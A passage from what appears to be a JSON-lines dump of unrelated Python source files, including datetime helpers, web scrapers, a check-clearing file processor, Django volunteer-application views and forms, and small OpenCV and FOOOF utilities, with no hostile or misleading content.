.....................................................................................................................\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Timing delta functions\n\n# .....................................................................................................................\n\ndef get_seconds_between_datetimes(start_datetime, end_datetime,\n round_to_int = False):\n \n '''\n Function which calculates the total number of seconds between 2 datetimes\n Note that this function can return negative values!\n The seconds between the datetimes is calculated as (end_datetime - start_datetime)\n '''\n \n # Initialize output\n total_seconds = None\n \n # Calculate time difference with basic error handling\n try:\n time_delta = (end_datetime - start_datetime)\n total_seconds = time_delta.total_seconds()\n \n # Round if needed\n if round_to_int:\n total_seconds = int(round(total_seconds))\n \n except AttributeError:\n # Occurs if subtraction works, but result is not a datetime object (i.e. doesn't have '.total_seconds')\n pass\n \n except TypeError:\n # Occurs if start/end values cannot be subtracted from each other (e.g. strings were given)\n pass\n \n return total_seconds\n\n# .....................................................................................................................\n\ndef get_utc_datetime_in_past(num_days_in_past):\n \n '''\n Helper function for getting a datetime from several days ago. Mostly intended for deletion/time cut-offs\n Returns a datetime object\n '''\n \n # Make sure days backward is greater than 0\n num_days_in_past = max(0, num_days_in_past)\n \n # Calculate the datetime from several days ago\n current_utc_dt = get_utc_datetime()\n past_utc_dt = current_utc_dt - dt.timedelta(days = num_days_in_past)\n \n return past_utc_dt\n\n# .....................................................................................................................\n\ndef get_utc_datetime_tomorrow(tomorrow_hours, tomorrow_minutes, tomorrow_seconds, tomorrow_microseconds = 0):\n \n '''\n Helper function for getting a (utc) datetime tomorrow, at a target time\n Mostly intended for scheduling future events\n Returns a datetime object\n '''\n \n # Get current datetime & add 1 day to get a datetime from 'tomorrow'\n current_utc_dt = get_utc_datetime()\n future_utc_dt = current_utc_dt + dt.timedelta(days = 1)\n \n # Replace the hour/minute/second values from the future datetime to get the target datetime for tomorrow\n tomorrow_utc_dt = future_utc_dt.replace(hour = tomorrow_hours,\n minute = tomorrow_minutes,\n second = tomorrow_seconds,\n microsecond = tomorrow_microseconds)\n \n return tomorrow_utc_dt\n\n# .....................................................................................................................\n\ndef get_local_datetime_in_past(num_days_in_past):\n \n '''\n Helper function for getting a datetime from several days ago. Mostly intended for deletion/time cut-offs\n Returns a datetime object\n '''\n \n # Make sure days backward is greater than 0\n num_days_in_past = max(0, num_days_in_past)\n \n # Calculate the datetime from several days ago\n current_dt = get_local_datetime()\n past_dt = current_dt - dt.timedelta(days = num_days_in_past)\n \n return past_dt\n\n# .....................................................................................................................\n\ndef get_local_datetime_tomorrow(tomorrow_hours, tomorrow_minutes, tomorrow_seconds, tomorrow_microseconds = 0):\n \n '''\n Helper function for getting a (local) datetime tomorrow, at a target time\n Mostly intended for scheduling future events\n Returns a datetime object\n '''\n \n # Get current datetime & add 1 day to get a datetime from 'tomorrow'\n current_dt = get_local_datetime()\n future_dt = current_dt + dt.timedelta(days = 1)\n \n # Replace the hour/minute/second values from the future datetime to get the target datetime for tomorrow\n tomorrow_dt = future_dt.replace(hour = tomorrow_hours,\n minute = tomorrow_minutes,\n second = tomorrow_seconds,\n microsecond = tomorrow_microseconds)\n \n return tomorrow_dt\n\n# .....................................................................................................................\n\ndef add_to_datetime(input_datetime, days = 0, hours = 0, minutes = 0, seconds = 0, microseconds = 0):\n \n '''\n Helper function for offseting a datetime by a specified number of days/hours/mins/sec/us. Can be negative!\n Intended to be used to helper caller avoid detailed datetime usage/importing\n Returns a datetime object\n '''\n \n return input_datetime + dt.timedelta(days = days,\n hours = hours,\n minutes = minutes,\n seconds = seconds,\n microseconds = microseconds)\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Image file formatting functions\n\n# .....................................................................................................................\n\ndef image_folder_names_to_epoch_ms(date_folder_name, hour_folder_name):\n \n '''\n Helper function used to generate an epoch_ms (local) value from provided date/hour folder names.\n Returns:\n start_of_hour_epoch_ms, end_of_hour_epoch_ms\n '''\n \n # Get the starting datetime, based on the given date/hour folder names\n datetime_str = \"{} {}\".format(date_folder_name, hour_folder_name)\n str_format = \"{} {}\".format(DATE_FORMAT, HOUR_FORMAT)\n start_of_hour_dt_no_tz = dt.datetime.strptime(datetime_str, str_format)\n \n # Make sure to explicitly use local timing, to hopefully avoid weird timezone errors\n start_of_hour_dt_local = start_of_hour_dt_no_tz.replace(tzinfo = get_local_tzinfo())\n start_of_hour_epoch_ms = datetime_to_epoch_ms(start_of_hour_dt_local)\n \n # Calculate the end of hour epoch_ms value\n ms_in_one_hour = 3600000 # (60 mins/hr * 60 sec/min * 1000 ms/sec)\n end_of_hour_epoch_ms = start_of_hour_epoch_ms + ms_in_one_hour - 1\n \n return start_of_hour_epoch_ms, end_of_hour_epoch_ms\n\n# .....................................................................................................................\n\ndef epoch_ms_to_image_folder_names(epoch_ms):\n \n '''\n Helper function used to provided consistent folder naming, based on input epoch_ms times\n Returns:\n date_folder_name, hour_folder_name\n '''\n \n # Convert provided epoch_ms value into a datetime, so we can create date + hour folder names from it\n target_time_dt = epoch_ms_to_local_datetime(epoch_ms)\n date_name = target_time_dt.strftime(DATE_FORMAT)\n hour_name = target_time_dt.strftime(HOUR_FORMAT)\n \n return date_name, hour_name\n\n# .....................................................................................................................\n# .....................................................................................................................\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Global setup\n\n# Set string formatting globally, so it can be applied consistently wherever possible\nDATE_FORMAT = \"%Y-%m-%d\"\nTIME_FORMAT = \"%H:%M:%S\"\nDATETIME_FORMAT = \"%Y-%m-%d %H:%M:%S\"\nHOUR_FORMAT = \"%H\"\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Demo\n\nif __name__ == \"__main__\":\n \n # Check that image folder naming works properly (can be weird due to utc conversion!)\n ex_ems = 800000000000\n ex_date_folder, ex_hour_folder = epoch_ms_to_image_folder_names(ex_ems)\n ex_start_ems, ex_end_ems = image_folder_names_to_epoch_ms(ex_date_folder, ex_hour_folder)\n print(\"\",\n \" Input EMS: {}\".format(ex_ems),\n \"Date folder: {}\".format(ex_date_folder),\n \"Hour folder: {}\".format(ex_hour_folder),\n \" Start EMS: {}\".format(ex_start_ems),\n \" End EMS: {}\".format(ex_end_ems),\n \"\",\n \"Input is within start/end: {}\".format(ex_start_ems <= ex_ems <= ex_end_ems),\n \"\", sep = \"\\n\")\n \n pass\n\n\n# ---------------------------------------------------------------------------------------------------------------------\n#%% Scrap\n\n\n\n","sub_path":"local/lib/timekeeper_utils.py","file_name":"timekeeper_utils.py","file_ext":"py","file_size_in_byte":22505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"462140122","text":"import requests\nfrom pprint import pprint\nfrom datetime import datetime, timedelta\nfrom decouple import config\nimport csv\n\n# 대표 코드: movieCd, 영화명: movieNm, 개봉일: openDt, 해당일 누적관객수: audiAcc\n\nmovie_data = {}\nmovie_field = ['movieCd', 'movieNm', 'openDt', 'audiAcc']\n\nkey = config('API_KEY')\nweekGb = '0'\nbase_url = f'http://www.kobis.or.kr/kobisopenapi/webservice/rest/boxoffice/searchWeeklyBoxOfficeList.json'\n\nfor week in list(range(51))[::-1]:\n targetDt = datetime(2019, 7, 13) - timedelta(weeks=week)\n targetDt = targetDt.strftime('%Y%m%d')\n api_url = f'{base_url}?key={key}&targetDt={targetDt}&weekGb={weekGb}'\n response = requests.get(api_url)\n week_data = response.json()\n for i in range(10):\n movie_dict = {field : week_data['boxOfficeResult']['weeklyBoxOfficeList'][i][field] for field in movie_field}\n movie_data.update({movie_dict['movieCd'] : movie_dict})\n \n\nwith open('boxoffice.csv', 'w', newline='', encoding='utf-8') as f:\n fieldnames = ('movieCd', 'movieNm', 'openDt', 'audiAcc')\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n writer.writeheader()\n\n for movie in movie_data.values():\n writer.writerow(movie)\n","sub_path":"pjt_01/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"200639937","text":"# -*- coding: utf-8 -*-\n\n\nfrom openea.modules.load.read import read_relation_triples, read_attribute_triples, read_links\nfrom openea.modules.load.kg import KG\nfrom openea.modules.load.kgs import remove_unlinked_triples\nimport os\nimport json\n\n\nread_links = read_links # this is to let you know you can import read_links from reader.py\n\n\ndef read_kgs_n_links(data_folder, remove_unlinked=False):\n\n kg1_relation_triples, _, _ = read_relation_triples(os.path.join(data_folder, 'rel_triples_1'))\n kg2_relation_triples, _, _ = read_relation_triples(os.path.join(data_folder, 'rel_triples_2'))\n kg1_attribute_triples, _, _ = read_attribute_triples(os.path.join(data_folder, 'attr_triples_1'))\n kg2_attribute_triples, _, _ = read_attribute_triples(os.path.join(data_folder, 'attr_triples_2'))\n\n links = read_links(os.path.join(data_folder, 'ent_links'))\n\n if remove_unlinked:\n kg1_relation_triples = remove_unlinked_triples(kg1_relation_triples, links)\n kg2_relation_triples = remove_unlinked_triples(kg2_relation_triples, links)\n\n kg1 = KG(kg1_relation_triples, kg1_attribute_triples)\n kg2 = KG(kg2_relation_triples, kg2_attribute_triples)\n return kg1, kg2, links\n\n\ndef save_links(links, out_fn):\n with open(out_fn, \"w+\") as file:\n for link in links:\n file.write(\"\\t\".join(link) + \"\\n\")\n\n\ndef save_annotation(anno, out_fn):\n with open(out_fn, \"w+\") as file:\n file.write(json.dumps(anno))\n\n\ndef load_al_settings(fn):\n with open(fn) as file:\n obj = json.loads(file.read())\n return obj\n\n\ndef read_links_with_steps(fn):\n with open(fn) as file:\n obj = json.loads(file.read())\n return obj\n\n\ndef save_links_with_steps(links_with_steps, out_fn):\n with open(out_fn, \"w+\") as file:\n file.write(json.dumps(links_with_steps))\n","sub_path":"al4ea/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"343731519","text":"\"\"\"\n Daily Check file scripted by james.duclos@commercebank.com\n rlpsdataanalytics@commercebank.com\n\"\"\"\n\nimport xlrd, re, logging, os\nfrom openpyxl.workbook import Workbook\nfrom shutil import copy, move\nimport time\nfrom datetime import date\n\nmy_date = date.today().strftime(\"%m%d%y\")\n\nworking_folder = \"//rlps_kw-84gv942/scripting/network/daily_check_file/bin/\"\n\nlogging.basicConfig(filename=working_folder + \"py_log.sv2log\", \n level=logging.INFO, \n format='%(asctime)s %(message)s')\n\nlogging.info(\"\\n\\nScript Started: Assigning Variables\")\n\n#test_file = working_folder + \"ILBC Matched Items DDA 175757877 excel.xls\"\ndrop_folder = working_folder.replace(\"/bin/\", \"/drop/\")\ndrop_destination = \"//cbsh.com/kcdfspool/DR-Commercial/CC Tech Team AP Files/AP Automation Cleared Check Files/Cleared Check Disposition Files/Outbound/\"\n\n#drop_destination = \"C:/Scripting/network/daily_check_file/bin/\"\n\nfile_name = \"checkdisp_{}.txt\".format(my_date)\n\ndef daily_check_file(file):\n logging.info(\"Setting up workbook for: \" + file)\n wb = xlrd.open_workbook(drop_folder + file)\n index = 0\n nrows, ncols = 0, 0\n \n logging.info(\"Counting rows and columns\")\n while nrows * ncols == 0 or index < 30:\n sheet = wb.sheet_by_index(0)\n nrows = sheet.nrows\n ncols = sheet.ncols\n index += 1\n \n logging.info(\"File contains {} rows and {} columns\".format(nrows, ncols))\n \n lines = sheet.col_values(4)\n stop_pay_list = []\n cleared_check_list = []\n \n \"\"\"\n The meat and potatos. The for loop will fun throuhg the column of data \n we just pulled and anazlyze each row. Since the file is setup as check no\n followed by description we read the check number then decide where it belongs\n by seeing what the next line contains: Either 'check image presented' or 'stop pay'\n \n The result is sorted into either the cleared_check_list list object or otherwise.\n Check numbers must be 6 digits!\n \"\"\"\n for iter, item in enumerate(lines):\n \n #Check for item being a check number or a description\n if re.search('^[0-9]{6}', item):\n logging.debug(\"{} {} recognized as NUMBER\".format(iter, item))\n current_check_num = item\n \n #If item is text, read the text and sort previous item as\n #either stop pay or cleared check, sort into list accordingly\n if re.search('[A-Z]\\s[A-z]', item):\n if \"STOP PAY\" in item:\n logging.debug(\"STOP PAY!\")\n stop_pay_list.append(current_check_num)\n \n if \"CHECK IMAGE PRESENTED\" in item or \"CHECK\" in item:\n logging.debug(\"Cleared\")\n cleared_check_list.append(current_check_num)\n \n logging.debug(\"{} {} recognized as TEXT\".format(iter, item))\n \n logging.debug(\"Stop pays: %s\" % (stop_pay_list))\n \n logging.debug(\"Cleared checks: %s\" % (cleared_check_list))\n \n logging.info(\"Writing to files: {} and {}\".format(working_folder + \"stop_pay_list.csv\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdrop_destination + file_name))\n \n #Write stop pay list\n with open(working_folder + \"stop_pay_list.csv\", \"w\") as write_file:\n for item in stop_pay_list:\n write_file.write(str(item) + \"\\n\")\n write_file.close()\n \n #Write cleared check list\n with open(drop_destination + file_name, \"w\") as write_file:\n for item in cleared_check_list:\n write_file.write(str(item) + \"\\n\")\n write_file.close()\n\n move(drop_folder + file, drop_folder + \"archive/\" + file_name)\n\n\n#Here we make a variable that holds the path to the folder we want to monitor\nbefore = []\nscan_rate = 10\n \nwhile 1:\n after = dict([(f, None) for f in os.listdir(drop_folder) if os.path.isfile(os.path.join(drop_folder, f))])\n added = [file for file in after if not file in before]\n removed = [file for file in before if not file in after]\n\n if added:\n logging.info(\"files were added\")\n for file in added:\n logging.info(\"Processing: \" + file)\n daily_check_file(file)\n logging.info(\"Done processing: \" + file)\n\n if removed: \n logging.info(\"Removed: \" + \", \".join (removed))\n\n before = after\n time.sleep(scan_rate) \n\n\n#Add email confirmations\n\n\n\n\n\n\n","sub_path":"network/daily_check_file/bin/check_clearing.py","file_name":"check_clearing.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"508534909","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import apply\nfrom education.models import EduPost\nimport random\nimport datetime\n\n \ndef apply_main_sub(request, post_id): \n post=get_object_or_404(EduPost,pk=post_id)\n return render(request, \"apply/apply.html\",{'post':post})\n# 어떤 봉사에 지원을 할지 정해주기 위해서 post라는 변수에 지원하려는 봉사의 정보를 담아 지원하는 apply.html로 넘겨줌\n\ndef apply_new(request): \n a=request.user\n b=request.POST['title']\n t=True\n for i in apply.objects.filter(title=b): # b에 봉사명을 담아 apply오브젝트중 해당 봉사명인 ��우들을 불러 for문으로 확인\n if i.applicant == a: # 해당 봉사 지원자중에 현재 로그인하여 사용중인 사람의 정보가 있는경우 t라는 변수에 False값으로 초기화\n t=False\n break\n else:\n continue\n if t: # t=True라는 뜻은 해당 봉사에 지원한 이력이 없다는 뜻, 없다면 양식에 작성된 내용을 저장해줌\n new_apply = apply()\n new_apply.name = request.POST[\"name\"]\n new_apply.phone_num = request.POST[\"phone_num\"][-4:]\n new_apply.title=request.POST['title']\n new_apply.main_or_sub=request.POST['main_or_sub']\n new_apply.applicant = request.user\n new_apply.save()\n return redirect('education:edulist')\n else: # 이미 봉사에 지원한 경우 alert.html로 넘겨 경고 팝업으로 이미 신청했다는 것을 보여줌\n return render(request,'apply/alert.html')\n# 해당 봉사에 이미 지원한지 확인후 지원하지않으면 지원완료, 이미 했다면 경고창을 띄워줌 \n \ndef apply_result(request,post_id):\n post=get_object_or_404(EduPost,pk=post_id)\n apply_o=apply.objects.all()\n if post.count==0: #사람들이 볼때마다 랜덤이 돌아가서 당첨자가 바뀌면 안되기 때문에 한번도 안확인한지 count가 0인지 확인함\n post.count+=1 #0을 기본값을고 갖고 있는 카운트에 1을 더해줌으로써 가장 처음 확인할때만 랜덤으로 당첨자를 선정하고 픽스 시키기 위한 부분\n post.save()\n \n \n m=[]\n s=[]\n \n m_o=apply_o.filter(title=post.title, main_or_sub='주강사') # 현재 결과를 알고자하는 봉사에 지원한 사람중 주강사를 신청한 사람\n s_o=apply_o.filter(title=post.title, main_or_sub='보조강사') # 현재 결과를 알고자하는 봉사에 지원한 사람중 보조강사를 신청한 사람\n\n for i in m_o: \n m.append(i)\n for i in s_o:\n s.append(i)\n # 랜덤하기위해 리스트에 담아줌\n if post.main_teacher < len(m): # 지원받는 주강사 수보다 지원자 수가 많은 경우\n m=random.sample(m,post.main_teacher) #랜덤으로 주강사 수만큼 뽑고, 적은경우는 지원한 사람 모두 다 뽑음\n\n for i in m:\n i.winner='winner' # 당첨이 되었다는 것을 표시하기 위해\n i.total_work+=post.work_hour # 해당 봉사의 봉사시간을 당첨된 지원자에게 부여해줌\n i.total_count+=1 # 봉사를 할 예정이기에 한번 카운트 해줌\n i.save()\n \n if post.sub_teacher < len(s): # 지원받는 보조강사 수보다 지원자 수가 많은 경우\n s=random.sample(s,post.sub_teacher) #랜덤으로 주강사 수만큼 뽑고, 적은경우는 지원한 사람 모두 다 뽑음\n \n for i in s:\n i.winner='winner' # 당첨이 되었다는 것을 표시하기 위해\n i.total_work+=post.work_hour # 해당 봉사의 봉사시간을 당첨된 지원자에게 부여해줌\n i.total_count+=1 # 봉사를 할 예정이기에 한번 카운트 해줌\n i.save()\n \n # 위에서는 맨처음 랜덤하여 선정하는 코드이고 아래에는 맨처음 확인하는 경우가 아니거나 맨처음 랜덤한 후 저장된 정보를 보여주는 부분\n\n # main_l=[]\n # sub_l=[]\n # for i in apply_o:\n # if i.title == post.title:\n # if i.main_or_sub == \"주강사\":\n # if i.winner=='winner':\n # # print(i.name,i.winner,'m')\n \n # main_l.append(i)\n # else:\n # if i.winner=='winner':\n # # print(i.name,i.winner,'s')\n \n # sub_l.append(i)\n\n\n main_l=apply_o.filter(title=post.title, winner='winner', main_or_sub=\"주강사\")\n sub_l=apply_o.filter(title=post.title, winner='winner', main_or_sub=\"보조강사\")\n\n # 당첨자들을 확인할수있는 조건들을 통해 당첨자 들을 따로 변수에 담아 result.html로 넘겨줌, 위에 for문으로도 가능하지만 orm 사용으로 고쳐둠\n\n return render(request, \"apply/result.html\",{\"main\": main_l, \"sub\":sub_l})","sub_path":"HSE/apply/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"467446779","text":"\"\"\"\n\"\"\"\n\nimport os\nimport re\nimport logging\n\nfrom fooof import FOOOFGroup\n\n\nclass FOOOFReport(object):\n \"\"\" Container for FOOOF report data that can be handled by meggie\n \"\"\"\n\n def __init__(self, name, fooof_directory, params, content=None):\n \"\"\"\n \"\"\"\n self._name = name\n self._content = {}\n\n # on item creation, content is passed and is set here\n if content is not None:\n self._content = content\n \n self._path = fooof_directory\n self._params = params\n\n @property\n def content(self):\n \"\"\" Return report data if already in memory, otherwise read from fs. \n Content is assumed to be a dictionary with conditions as keys \n and reports as values \"\"\"\n if self._content:\n return self._content\n\n template = self.name + '_' + r'([a-zA-Z1-9_]+)\\.json'\n for fname in os.listdir(self._path):\n match = re.match(template, fname)\n if match:\n try:\n key = str(match.group(1))\n except Exception as exc:\n raise Exception(\"Unknown file name format.\")\n\n if 'conditions' in self._params:\n if key not in [str(elem) for elem \n in self._params['conditions']]:\n continue\n\n logging.getLogger('ui_logger').debug(\n 'Reading FOOOF file: ' + str(fname))\n\n fg = FOOOFGroup()\n fg.load(fname, self._path)\n self._content[key] = fg\n return self._content\n\n @property\n def name(self):\n return self._name\n\n @name.setter\n def name(self, name):\n self._name = name\n\n @property\n def params(self):\n return self._params\n\n @params.setter\n def params(self, params):\n self._params = params\n\n def save_content(self):\n \"\"\" Save dictionary containing reports to fs\n \"\"\"\n try:\n # if exists, delete first\n self.delete_content()\n\n for key, report in self._content.items():\n fname = self._name + '_' + str(key) + '.json'\n report.save(fname, self._path, save_results=True, \n save_settings=True, save_data=True)\n\n except Exception as exc:\n raise IOError('Writing FOOOF report failed')\n\n def delete_content(self):\n \"\"\" Delete report data from the fs\n \"\"\"\n template = self.name + '_' + r'([a-zA-Z1-9_]+)\\.json'\n for fname in os.listdir(self._path):\n match = re.match(template, fname)\n if match:\n try:\n key = str(match.group(1))\n except Exception as exc:\n continue\n\n if 'conditions' in self._params:\n if key not in [str(elem) for elem \n in self._params['conditions']]:\n continue\n\n logging.getLogger('ui_logger').debug(\n 'Removing existing fooof file: ' + str(fname))\n\n os.remove(os.path.join(self._path, fname))\n\n","sub_path":"meggie_fooof/datatypes/fooof_report/fooof_report.py","file_name":"fooof_report.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"573367615","text":"from bs4 import BeautifulSoup\nimport urllib.request as req\n\n\ndef get_html():\n url = 'http://www.aozora.gr.jp/'\n res = req.urlopen(url)\n try:\n soup = BeautifulSoup(res, 'html.parser')\n except:\n print('ぱーすできませーん')\n title = soup.find('h1').string\n print(title)\n\n\nif __name__ == '__main__':\n get_html()\n","sub_path":"train1.py","file_name":"train1.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"68294054","text":"import numpy as np\r\nimport cv2\r\n\r\ncap = cv2.VideoCapture(0) #(0 is the idx of the camera(we hv only 1 cam hence 0)\r\n\r\nwhile(True):\r\n # Capture frame-by-frame\r\n ret, frame = cap.read()\r\n\r\n edges = cv2.Canny(frame, 100, 200) #canny\r\n cv2.imshow('edges video', edges)\r\n\r\n if cv2.waitKey(1) & 0xFF == ord(' '): #space to exit\r\n break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\ncap2 = cv2.VideoCapture(0)\r\n\r\nwhile True:\r\n check,frame = cap2.read()\r\n\r\n c,d = cv2.pencilSketch(frame, sigma_s=10, sigma_r=0.5, shade_factor=0.015)\r\n cv2.imshow(\"Pencil video\",c)\r\n\r\n\r\n key = cv2.waitKey(1)\r\n if key == ord(\" \"):\r\n break\r\n\r\ncap2.release()\r\ncv2.destroyAllWindows()\r\n","sub_path":"OpenCV/p3.2.py","file_name":"p3.2.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"146086239","text":"# -*-coding:'utf-8' -*-\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n# 將資料寫入 town.txt的檔案中\ndef w_to_txt(tw,year,month):\n with open('town.txt','a') as fout:\n a = str(year)+'-'+str(month)+',' \n for i in tw:\n a += i+','\n a += '\\n'\n print(a)\n fout.write(a)\n# 這段只是為了寫標題 日期,區(里),隸屬區,鄰數,戶數,男,女,合計,\n\nurl = \"http://www.ca.ntpc.gov.tw/Population/ListForArea?wnd_id=68&area_id=6&year=101&month=1\"\nres = requests.get(url)\ndate = BeautifulSoup(res.text, 'html.parser')\nfor item in date.select('.population-table'):\n table = item.select('th')\nwith open('town.txt','w') as fout:\n a ='日期,'\n for i in table:\n dd = i.text.split()\n a += dd[0] +','\n a += '\\n'\n print(a)\n fout.write(a)\n# 這段就實際去爬資料,url為網址 迴圈只是去更改year和month\n\nfor year in range(90,105):\n for month in range(1,13):\n url = \"http://www.ca.ntpc.gov.tw/Population/ListForArea?wnd_id=68&area_id=6&year=%s&month=%s\" % (year,month)\n res = requests.get(url)\n date = BeautifulSoup(res.text, 'html.parser')\n tw =[]\n for item in date.select('.population-table'):\n table = item.select('tr')\n for i in table:\n li = i.text.split()\n if li[0]=='小城里':\n for c in li:\n tw.append(c)\n w_to_txt(tw,year,month)","sub_path":"查里上人數.py","file_name":"查里上人數.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126039930","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom rmais.models import Empresa, Cidade, Usuario, Noticia, Categoria, Estado\nfrom django.forms.widgets import CheckboxSelectMultiple \n\n# login e senha\nclass UsuarioForm(forms.Form):\n\tusuario = forms.CharField( widget=forms.TextInput(attrs={'placeholder': 'Login'}))\n\tsenha = forms.CharField(widget=forms.PasswordInput(attrs={'placeholder': 'Senha'}))\n\n\nclass SenhaForm(forms.Form):\n\temail = forms.CharField(widget=forms.EmailInput(attrs={'placeholder': 'e-mail de cadastro', 'id': 'email'}))\n\n\n\n\nclass AddUsuarioForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel = Usuario\n\t\tfields = '__all__'\n\n\tempresa = forms.ModelChoiceField(\n\t\t\t\t\t\t\t\t\tqueryset=Empresa.objects.all(), \n\t\t\t\t\t\t\t\t\twidget=forms.Select(attrs={'id':'cliente', 'name': 'cliente'}),\n\t\t\t\t\t\t\t\t\t# widget=forms.Select(attrs={'id':'cliente', 'name': 'cliente', 'ng-model': 'formData.cliente_id'}),\n\t\t\t\t\t\t\t\t\trequired=False\n\t\t\t\t\t\t\t\t\t)\n\ttypes = (\n\t\t\t (0, 'usuário'),\n\t\t\t (1, 'máquina'),\n\t\t\t)\n\ttipo_de_usuario = forms.ChoiceField(\n\t\t\t\t\t\t\t\t\twidget = forms.Select(), \n \t\t\t\t\t\t\t\tchoices = (types), \n \t\t\t\t\t\t\t\trequired = False,\n \t\t\t\t\t\t\t\t)\n\n\tnome_do_usuario = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'Nome Completo', 'id': 'right-label'}), required=False)\n\n\tcidade_de_preferencia = forms.ModelChoiceField(label=\"Cidade de Preferencia\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tempty_label=\" -- Selecione a Cidade --\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tqueryset=Cidade.objects.all(), \n\t\t\t\t\t\t\t\t\t\t\t\t\twidget=forms.Select(attrs={'class':'select-cidades'}),\n\t\t\t\t\t\t\t\t\t\t\t\t\trequired=False\n\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\n\temail = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'E-mail'}), required=False)\n\n\toptions = (\n\t\t\t\t(0 , 'Inativo'),\n\t\t\t\t(1 , 'Ativo'),\n\t\t\t\t(2 , 'Temporario'),\n\t\t\t)\n\tstatus = forms.ChoiceField(widget = forms.Select(), \n \t\t\t\t\t\t\t\tchoices = (options), \n \t\t\t\t\t\t\t\trequired = False,\n \t\t\t\t\t\t)\n\t\n\ttemp_day = (\n (0, '------'),\n (1, '7 Dias'),\n (2, '15 Dias'),\n (3, '30 Dias'),\n (4, '90 Dias'),\n )\n\tdias_liberado = forms.ChoiceField(\n\t\t\t\t\t\t\t\t\twidget = forms.Select(), \n \t\t\t\t\t\t\t\tchoices = (temp_day), \n \t\t\t\t\t\t\t\trequired = False,\n \t\t\t\t\t\t\t\t)\n\n\nclass UsuarioFiltroForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = Usuario\n\t\tfields = '__all__'\n\n\t# >>> filtro pra busca\n\tempresaFilter = forms.ModelChoiceField(empty_label='todos os clientes',\n\t\t\t\t\t\t\t\t\tqueryset=Empresa.objects.all(), \n\t\t\t\t\t\t\t\t\twidget=forms.Select(attrs={'name': 'cliente_id', 'id': 'cliente_id', 'ng-model': 'formData.cliente_id'}),\n\t\t\t\t\t\t\t\t\trequired=False\n\t\t\t\t\t\t\t\t\t)\n\n\tcampobusca = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'palavra chave', 'id': 'campobusca', 'ng-model': 'formData.campobusca', 'class': 'ng-pristine ng-valid'}), required=False)\n\t# >>> filtro pra busca\n\n\n\n\nclass NoticiaForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel = Noticia\n\t\tfield = (\"empresa\")\n\t\n\n\tdata_criacao= forms.CharField(required=False)\n\tembed_video= forms.CharField(required=False)\n\timagem_principal= forms.CharField(required=False)\n\tfonte \t\t= forms.CharField(required=False)\n\tlink_fonte\t= forms.CharField(required=False)\n\tslug\t= forms.CharField(required=False)\n\tcliente = forms.ModelChoiceField(\n\t\t\t\t\t\t\t\t\t\tqueryset=Empresa.objects.all(), \n\t\t\t\t\t\t\t\t\t\twidget=forms.CheckboxSelectMultiple(attrs={'id':'cliente', 'name': 'cliente'}),\n\t\t\t\t\t\t\t\t\t\trequired=False,\n\t\t\t\t\t\t\t\t\t)\n\tcategoria \t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'categoria', 'name': 'categoria', 'type': 'hidden'}), required=False)\n\tdata \t\t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'data', 'name': 'data', 'type': 'hidden'}), required=False)\n\tdata_da_noticia \t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'data_da_noticia', 'name': 'data_da_noticia', 'type': 'hidden'}), required=False)\n\ttitulo \t\t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'titulo', 'name': 'titulo', 'type': 'hidden'}), required=False)\n\tchamada \t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'chamada', 'name': 'chamada', 'type': 'hidden'}), required=False)\n\ttexto \t\t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'texto', 'name': 'texto', 'type': 'hidden'}), required=False)\n\tfonte \t\t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'fonte', 'name': 'fonte', 'type': 'hidden'}), required=False)\n\t# destino \t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'destino', 'name': 'destino', 'type': 'hidden'}), required=False)\n\tativo \t\t\t\t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'ativo', 'name': 'ativo', 'type': 'checkbox', 'checked': 'checked', 'value': 1}), required=False)\n\tdata_de_publicacao \t\t= forms.CharField(widget=forms.TextInput(attrs={'id': 'data_publicacao', 'name': 'data_publicacao', 'class': 'datetimepicker text-center'}), required=False)\n\t\n\toptions = (\n\t (0, '- sem 